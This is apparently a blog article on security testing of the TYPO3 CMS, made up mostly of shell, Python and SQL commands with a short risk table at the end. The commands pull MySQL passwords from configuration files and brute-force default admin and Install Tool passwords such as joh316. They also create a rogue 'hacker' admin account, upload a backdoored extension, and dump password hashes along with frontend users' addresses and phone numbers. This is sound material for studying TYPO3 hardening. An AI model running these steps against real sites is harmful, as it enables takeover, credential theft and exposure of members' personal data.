Enterprise CMS Security Testing

TYPO3 Security Testing: Default Credentials, API Key, Database, and CMS

📅 July 3, 2026 ⏱ 11 min read 🏷 TYPO3, Enterprise CMS, LocalConfiguration.php, MySQL, Install Tool, ENABLE_INSTALL_TOOL, be_users, MD5, bcrypt, Extension Manager, fe_users, PHP CMS Security

LocalConfiguration.php MySQL Credential Extraction

# TYPO3 — LocalConfiguration.php MySQL credential extraction
T3_URL="https://site.example.com"

# typo3conf/LocalConfiguration.php — TYPO3 database configuration (TYPO3 6+)
python3 -c "
import re, ast
content = open('/var/www/typo3/typo3conf/LocalConfiguration.php').read()
# Extract DB section from PHP array
db_match = re.search(r\"'DB'\s*=>\s*array\s*\((.*?)\)\s*,\s*'(?:BE|FE|EXT|GFX|HTTP|MAIL|SYS|FE)'\", content, re.DOTALL)
if db_match:
    print('DB section found:')
    for key in ['database', 'host', 'port', 'username', 'password', 'socket']:
        m = re.search(f\"'{key}'\s*=>\s*'([^']*)\", db_match.group(1))
        if m: print(f'  {key}: {m.group(1)[:60]}')
" 2>/dev/null
# 'password' => 'mysql-password-here'   <-- MySQL password (CRITICAL)

# TYPO3 12+: config/system/settings.php (new location)
python3 -c "
content = open('/var/www/typo3/config/system/settings.php').read()
import re
m = re.search(r\"'password'\s*=>\s*'([^']+)'\", content)
if m: print(f'DB password: {m.group(1)[:60]}')
" 2>/dev/null

# Check ENABLE_INSTALL_TOOL file
for INSTALL_FLAG in \
  "/var/www/typo3/typo3conf/ENABLE_INSTALL_TOOL" \
  "/var/www/typo3/config/system/ENABLE_INSTALL_TOOL"; do
  if [ -f "${INSTALL_FLAG}" ]; then
    echo "ENABLE_INSTALL_TOOL: PRESENT (Install Tool accessible)"
    cat "${INSTALL_FLAG}" 2>/dev/null  # contains install tool password hash
  fi
done

# Check Install Tool web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${T3_URL}/typo3/install/" 2>/dev/null)
echo "/typo3/install/: HTTP ${STATUS}"

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "typo3:typo3" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${T3_URL}/typo3/index.php" \
    -d "login_status=login&username=${USER}&userident=${PASS}&interface=backend" \
    -c /tmp/t3_c -b /tmp/t3_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Install Tool and Admin Credential Assessment

# TYPO3 Install Tool — system reconfiguration and admin password reset
T3_URL="https://site.example.com"

# TYPO3 Install Tool at /typo3/install/
# If ENABLE_INSTALL_TOOL file exists: allows full system reconfiguration
# including database configuration change, admin password reset, extension management

# Install Tool password (TYPO3 install tool has its own password, default: joh316)
for IT_PASS in "joh316" "password" "admin" "typo3"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${T3_URL}/typo3/install/" \
    -d "install[action]=login&install[token]=&install[password]=${IT_PASS}" \
    -c /tmp/t3_it_c 2>/dev/null)
  echo "Install Tool ${IT_PASS}: HTTP ${STATUS}"
done

# TYPO3 Install Tool — Create admin user (if Install Tool accessible)
# This allows creating a new admin bypassing the normal login
INSTALL_SESS="extracted-install-tool-session"
curl -s -X POST "${T3_URL}/typo3/install/?install[action]=createAdminAccount" \
  -d "install[values][username]=hacker&install[values][password]=hacker123" \
  -b "Typo3InstallTool=${INSTALL_SESS}" 2>/dev/null | head -10

# TYPO3 Extension Manager — PHP code execution via malicious extension
# Admin session required; upload .t3x or zip extension file
# Malicious extension: ext_localconf.php with PHP backdoor
ADMIN_SESS="extracted-admin-session"
curl -s -X POST "${T3_URL}/typo3/index.php?route=%2Finstall%2Fextension-list" \
  -F "extensionFile=@/tmp/malicious_ext.zip" \
  -b "be_typo_user=${ADMIN_SESS}" 2>/dev/null | head -5

MySQL be_users Hash and Frontend User Extraction

# TYPO3 MySQL database — be_users hash and frontend user extraction
DB_PASS="extracted-db-password"

mysql -u typo3 -p"${DB_PASS}" typo3 2>/dev/null << 'EOF'
-- TYPO3 be_users — backend (admin) accounts
SELECT u.uid, u.username, u.password,
       u.admin,             -- 1 = super-admin access
       u.email, u.realName,
       u.tstamp, u.lastlogin,
       u.disable, u.deleted
FROM be_users u
WHERE u.deleted = 0 AND u.disable = 0
ORDER BY u.uid;
-- password: md5 (TYPO3 <6.2), SHA-256+salt (6.2-8.x), bcrypt (9+)
-- admin=1: full TYPO3 backend superadmin access (all sites, all settings)

-- TYPO3 fe_users — frontend (website) user accounts
SELECT u.uid, u.username, u.password,
       u.name, u.email, u.telephone,
       u.address, u.zip, u.city, u.country,
       u.tstamp, u.lastlogin, u.usergroup
FROM fe_users u
WHERE u.deleted = 0 AND u.disable = 0
ORDER BY u.uid
LIMIT 20;
-- password: same hashing as be_users based on TYPO3 version

-- TYPO3 sys_file_reference — uploaded file metadata
SELECT r.uid, r.tablenames, r.fieldname,
       f.identifier, f.storage,
       f.sha1, f.type, f.mime_type,
       f.name, f.size
FROM sys_file_reference r
JOIN sys_file f ON f.uid = r.uid_local
ORDER BY r.uid DESC
LIMIT 20;

-- TYPO3 pages (hidden and access-protected pages)
SELECT p.uid, p.pid, p.title, p.alias,
       p.hidden, p.fe_group,
       p.doktype, p.crdate
FROM pages p
WHERE p.deleted = 0 AND p.hidden = 1
ORDER BY p.uid
LIMIT 20;
-- hidden=1: pages hidden from public but content still in DB
EOF

TYPO3 Security Hardening

Security Test	Method	Risk
ENABLE_INSTALL_TOOL file presence + Install Tool admin password reset	Check /var/www/typo3/typo3conf/ENABLE_INSTALL_TOOL; GET /typo3/install/ — if accessible, create new admin account without knowing existing admin password	Critical
typo3conf/LocalConfiguration.php MySQL password extraction	Read LocalConfiguration.php — DB[password] and encryptionKey; full database access to all be_users and fe_users hashes	Critical
be_users MD5/SHA-256/bcrypt hash extraction with admin identification	MySQL SELECT admin, password FROM be_users — MD5 (TYPO3 <6.2) cracks in milliseconds; admin=1 = full TYPO3 system superadmin	High
Install Tool default password joh316	POST /typo3/install/ with password=joh316 — many legacy TYPO3 installations never changed the Install Tool default password	High
fe_users frontend user PII and hash extraction	MySQL SELECT password, name, email, address, telephone FROM fe_users — all website member account credentials and PII	High